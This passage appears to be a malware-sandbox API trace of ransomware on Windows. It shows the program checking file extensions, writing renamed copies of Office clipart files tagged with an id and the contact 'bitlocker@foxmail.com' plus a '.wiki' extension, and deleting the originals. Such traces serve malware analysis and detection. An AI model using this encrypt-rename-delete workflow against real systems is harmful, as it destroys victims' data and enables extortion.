(lpString1=".xlsx", lpString2="8.WMF") returned -1 [0194.722] lstrlenW (lpString=".ppt") returned 4 [0194.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0194.723] lstrlenW (lpString=".zip") returned 4 [0194.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.723] lstrlenW (lpString=".rar") returned 4 [0194.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.723] lstrlenW (lpString=".bz2") returned 4 [0194.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.723] lstrlenW (lpString=".7z") returned 3 [0194.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0194.723] lstrlenW (lpString=".dbf") returned 4 [0194.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0194.723] lstrlenW (lpString=".1cd") returned 4 [0194.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0194.723] lstrlenW (lpString=".jpg") returned 4 [0194.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.723] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.723] lstrlenW (lpString="J0107150.WMF") returned 12 [0194.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0194.724] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=13456) returned 1 [0194.724] CloseHandle (hObject=0x1f0) returned 1 [0194.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf")) returned 0x20 [0194.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0194.725] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.725] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0194.725] GetLastError () returned 0x0 [0194.725] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x3490, lpOverlapped=0x0) returned 1 [0194.744] WriteFile (in: hFile=0x214, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x34a0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x34a0, lpOverlapped=0x0) returned 1 [0194.745] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.746] WriteFile (in: hFile=0x214, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.746] SetEndOfFile (hFile=0x214) returned 1 [0194.746] CloseHandle (hObject=0x214) returned 1 [0194.746] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.746] SetEndOfFile (hFile=0x1f0) returned 1 [0194.747] CloseHandle (hObject=0x1f0) returned 1 [0194.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf")) returned 1 [0194.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0194.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0194.747] lstrlenW (lpString=".doc") returned 4 [0194.747] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.747] lstrlenW (lpString=".docx") returned 5 [0194.747] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.747] lstrlenW (lpString=".pdf") returned 4 [0194.747] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.747] lstrlenW (lpString=".xls") returned 4 [0194.747] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.747] lstrlenW (lpString=".xlsx") returned 5 [0194.747] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.747] lstrlenW (lpString=".ppt") returned 4 [0194.747] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0194.747] lstrlenW (lpString=".zip") returned 4 [0194.747] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.748] lstrlenW (lpString=".rar") returned 4 [0194.748] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.748] lstrlenW (lpString=".bz2") returned 4 [0194.748] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.748] lstrlenW (lpString=".7z") returned 3 [0194.748] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0194.748] lstrlenW (lpString=".dbf") returned 4 [0194.748] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0194.748] lstrlenW (lpString=".1cd") returned 4 [0194.748] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0194.748] lstrlenW (lpString=".jpg") returned 4 [0194.748] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0194.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0194.748] lstrlenW (lpString=".doc") returned 4 [0194.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.748] lstrlenW (lpString=".docx") returned 5 [0194.748] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.748] lstrlenW (lpString=".pdf") returned 4 [0194.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.748] lstrlenW (lpString=".xls") returned 4 [0194.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.748] lstrlenW (lpString=".xlsx") returned 5 [0194.748] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.748] lstrlenW (lpString=".ppt") returned 4 [0194.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0194.749] lstrlenW (lpString=".zip") returned 4 [0194.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.749] lstrlenW (lpString=".rar") returned 4 [0194.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.749] lstrlenW (lpString=".bz2") returned 4 [0194.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.749] lstrlenW (lpString=".7z") returned 3 [0194.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0194.749] lstrlenW (lpString=".dbf") returned 4 [0194.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0194.749] lstrlenW (lpString=".1cd") returned 4 [0194.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0194.749] lstrlenW (lpString=".jpg") returned 4 [0194.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.749] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.749] lstrlenW (lpString="J0107158.WMF") returned 12 [0194.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0194.750] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=24908) returned 1 [0194.750] CloseHandle (hObject=0x1f0) returned 1 [0194.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf")) returned 0x20 [0194.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0194.750] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.750] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0194.750] GetLastError () returned 0x0 [0194.750] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x614c, lpOverlapped=0x0) returned 1 [0194.806] WriteFile (in: hFile=0x214, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x6150, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x6150, lpOverlapped=0x0) returned 1 [0194.807] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.807] WriteFile (in: hFile=0x214, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.807] SetEndOfFile (hFile=0x214) returned 1 [0194.807] CloseHandle (hObject=0x214) returned 1 [0194.807] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.807] SetEndOfFile (hFile=0x1f0) returned 1 [0194.808] CloseHandle (hObject=0x1f0) returned 1 [0194.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf")) returned 1 [0194.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0194.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0194.810] lstrlenW (lpString=".doc") returned 4 [0194.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.810] lstrlenW (lpString=".docx") returned 5 [0194.810] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0194.810] lstrlenW (lpString=".pdf") returned 4 [0194.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.810] lstrlenW (lpString=".xls") returned 4 [0194.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.810] lstrlenW (lpString=".xlsx") returned 5 [0194.810] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0194.810] lstrlenW (lpString=".ppt") returned 4 [0194.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0194.810] lstrlenW (lpString=".zip") returned 4 [0194.810] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.810] lstrlenW (lpString=".rar") returned 4 [0194.810] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.810] lstrlenW (lpString=".bz2") returned 4 [0194.810] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.810] lstrlenW (lpString=".7z") returned 3 [0194.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0194.811] lstrlenW (lpString=".dbf") returned 4 [0194.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0194.811] lstrlenW (lpString=".1cd") returned 4 [0194.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0194.811] lstrlenW (lpString=".jpg") returned 4 [0194.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0194.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0194.811] lstrlenW (lpString=".doc") returned 4 [0194.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.811] lstrlenW (lpString=".docx") returned 5 [0194.811] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0194.811] lstrlenW (lpString=".pdf") returned 4 [0194.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.811] lstrlenW (lpString=".xls") returned 4 [0194.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.811] lstrlenW (lpString=".xlsx") returned 5 [0194.811] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0194.811] lstrlenW (lpString=".ppt") returned 4 [0194.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0194.811] lstrlenW (lpString=".zip") returned 4 [0194.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.811] lstrlenW (lpString=".rar") returned 4 [0194.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.812] lstrlenW (lpString=".bz2") returned 4 [0194.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.812] lstrlenW (lpString=".7z") returned 3 [0194.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0194.812] lstrlenW (lpString=".dbf") returned 4 [0194.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0194.812] lstrlenW (lpString=".1cd") returned 4 [0194.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0194.812] lstrlenW (lpString=".jpg") returned 4 [0194.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.812] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.812] lstrlenW (lpString="J0107188.WMF") returned 12 [0194.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0194.813] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=4536) returned 1 [0194.813] CloseHandle (hObject=0x1f0) returned 1 [0194.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf")) returned 0x20 [0194.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0194.813] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.813] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0194.813] GetLastError () returned 0x0 [0194.813] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x11b8, lpOverlapped=0x0) returned 1 [0194.839] WriteFile (in: hFile=0x214, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x11c0, lpOverlapped=0x0) returned 1 [0194.840] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.840] WriteFile (in: hFile=0x214, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.840] SetEndOfFile (hFile=0x214) returned 1 [0194.844] CloseHandle (hObject=0x214) returned 1 [0194.844] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.844] SetEndOfFile (hFile=0x1f0) returned 1 [0194.844] CloseHandle (hObject=0x1f0) returned 1 [0194.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.845] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf")) returned 1 [0194.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0194.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0194.845] lstrlenW (lpString=".doc") returned 4 [0194.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.845] lstrlenW (lpString=".docx") returned 5 [0194.845] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0194.845] lstrlenW (lpString=".pdf") returned 4 [0194.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.845] lstrlenW (lpString=".xls") returned 4 [0194.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.845] lstrlenW (lpString=".xlsx") returned 5 [0194.845] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0194.845] lstrlenW (lpString=".ppt") returned 4 [0194.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0194.845] lstrlenW (lpString=".zip") returned 4 [0194.845] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.845] lstrlenW (lpString=".rar") returned 4 [0194.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.845] lstrlenW (lpString=".bz2") returned 4 [0194.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.846] lstrlenW (lpString=".7z") returned 3 [0194.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0194.846] lstrlenW (lpString=".dbf") returned 4 [0194.846] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0194.846] lstrlenW (lpString=".1cd") returned 4 [0194.846] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0194.846] lstrlenW (lpString=".jpg") returned 4 [0194.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0194.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0194.846] lstrlenW (lpString=".doc") returned 4 [0194.846] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.846] lstrlenW (lpString=".docx") returned 5 [0194.846] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0194.846] lstrlenW (lpString=".pdf") returned 4 [0194.846] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.846] lstrlenW (lpString=".xls") returned 4 [0194.846] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.846] lstrlenW (lpString=".xlsx") returned 5 [0194.846] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0194.846] lstrlenW (lpString=".ppt") returned 4 [0194.846] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0194.846] lstrlenW (lpString=".zip") returned 4 [0194.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.846] lstrlenW (lpString=".rar") returned 4 [0194.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.846] lstrlenW (lpString=".bz2") returned 4 [0194.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.847] lstrlenW (lpString=".7z") returned 3 [0194.847] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.847] lstrlenW (lpString="C:\\Program Files\\Microsoft 